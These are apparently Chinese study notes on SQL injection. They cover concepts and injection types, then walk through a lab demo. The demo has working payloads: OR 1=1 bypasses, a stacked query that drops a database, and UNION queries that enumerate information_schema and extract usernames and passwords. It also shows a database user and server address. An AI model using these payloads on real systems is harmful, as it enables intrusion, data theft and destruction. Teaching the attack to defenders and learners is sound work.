SQL注入漏洞:
SQL概念
SQL是用于参考数据库的语言
SQL:结构化查询语言
SQL注入概念
发生于应用程序与数据库层的安全漏洞。
网站内部直接发送的SQL请求一般不会有危险,但实际情况需要结合用户的输入数据动态构造SQL语句。
如果用户输入被构造成恶意sql语句,Web应用程序对用户的输入没有做严格的判断,导致用户可用将非法的SQL语句拼接到正常的语句中,被当作SQL语句的一部分执行。
在输入的字符串中注入SQL指令,在设计不良的程序中忽略了字符检查,这些恶意指令就会被数据库服务器误认为是正常的SQL指令二运行,因此遭到破坏或者入侵。
get型SQL注入漏洞
提交网页时,主要分为get post方法,
get方法提交的内容会显现在网页URL上,通过对URL连接进行构造,可以获得超出权限的信息内容。
web程序三层架构
- 界面层
- 业务逻辑层
- 数据访问层
前后端不分离:
前端&服务器端:
sql注入发生在哪?
在服务器与数据库进行交互的阶段
如果前后端分立,没有表示层-前端那一块,能否进行SQL注入?
可以,只要服务端与数据库进行交互,服务端甩出去给API(比如:http://localhost:8080/login)
SQL注入,没有网页,也能注入。
API
API:Application Programming Interface,应用程序编程接口。
是一些预先定义的函数,目的是提供应用程序与开发人员基于某软件或硬件得以访问一组例程的能力,而又无需访问源码,或理解内部工作机制的细节。
sql注入原理
SELECT * FROM t1 WHERE id = %s;
用户输入:1 or 1 = 1
实际上SQL:SELECT * FROM t1 WHERE id =1 OR 1 = 1;
1.用户,键入:' UNION SELECT username , password FROM users --
这个人已经确定有两个字段;username 和password
并且确认了库里有一张表叫users
2.提交到网页,submit
3.向上走,本身的sql是:SELECT name,description FROM products WHERE category ='Gifts'
4.union后,到数据库里执行,把数据库里,所有passwords、usernames拿出来,到前端页面。
SQL注入类型
Boolean-Base Blind布尔型注入
Union联合查询注入
Time-Bases Blind基于时间延迟注入
Error-Bases报错型注入
Stacked queries堆叠注入
SQL注入带来的威胁
- 猜解后台数据库,盗取网页敏感信息
- 绕过验证登录网站后台
- 借助数据库的存储过程进行提权等操作
SQL注入演示
输入Gifts' --
这个单引号是为了闭合字符串前一个单引号,并且把后面的内容都注释掉(注意:–后面有空格)
这里等同于Gifts'#
如果不注入:
注入后-获取隐藏数据:
分析–拿到类型为gifts,包含未发布商品
如果是陌生网站,怎么办?
直接输入一个单引号,回车,f12检查
找response:
如果提示我sql语法有问题,百分百这个网站有SQL漏洞。两个引号没错,三个一定错
分析–拿到所有商品,所有content
不管输入什么,比如输入aaaaa
sql语句为:SELECT id,NAME,content,relessed FROM products WHERE category = 'aaaaa' AND released = 0;
在where前面注释不可能,只能在category的内容去注释
要去改变sql的逻辑
可以输入:Gifts’or 1=1 –
SELECT * FROM products WHERE category = ‘Gifts’ OR 1 = 1 – ‘ AND released = 0;
如何删库
DROP DATABASE products;
输入:a';drop database products;
输入两条语句。
拿到所有用户名和密码并登录系统
找到返回字段个数,使用union select1,2,一直去尝试,如果报
输入Gifts' union select 1,2#
检查中报错–response-数量不一致
输入Gifts' union select 1,2,3,4#
已经把1,2,3,4都注入进去,如图
输入Gifts' union select 1,database(),3,4#
对应name为sql_inject,为数据库名称
3-替换为version(),name对应为5.7.33
3-替换为user(),name对应用户为root@121.40.114.23(暴露出数据库存放的服务器)
有了数据库的名,就可以拿到库里面的表,拿到了表,就可以拿到其中的字段1' union select 1,database(),table_name,4 from information_schema.tables where table_schema=database()--
可以拿到数据库中两张表的名称–products和user
user是我们要利用的表,拿出其中所有的字段
需要username及password1' union select 1,database(),column_name,4 from information_schema.columns where table_name='user'--
得到很多content,有host、User、很多权限、。。。、最下面有id,user_name,password
权限经常在select user,host from mysql.user
看到,也就是说查错表了
加一个限制条件:1' union select 1,database(),column_name,4 from information_schema.columns where table_name='user'and table_schema=database--
精确查出id,user_name,password三个字段1'union select 1,user_name,password,4 from user #
得到答案:name以及对应的content密码(密码可能有加密–32位md5加密,aes加密)
SQL注入方式
- 检索隐藏数据
- 修改应用程序逻辑
- Union attack
- 获取敏感数据
- 盲注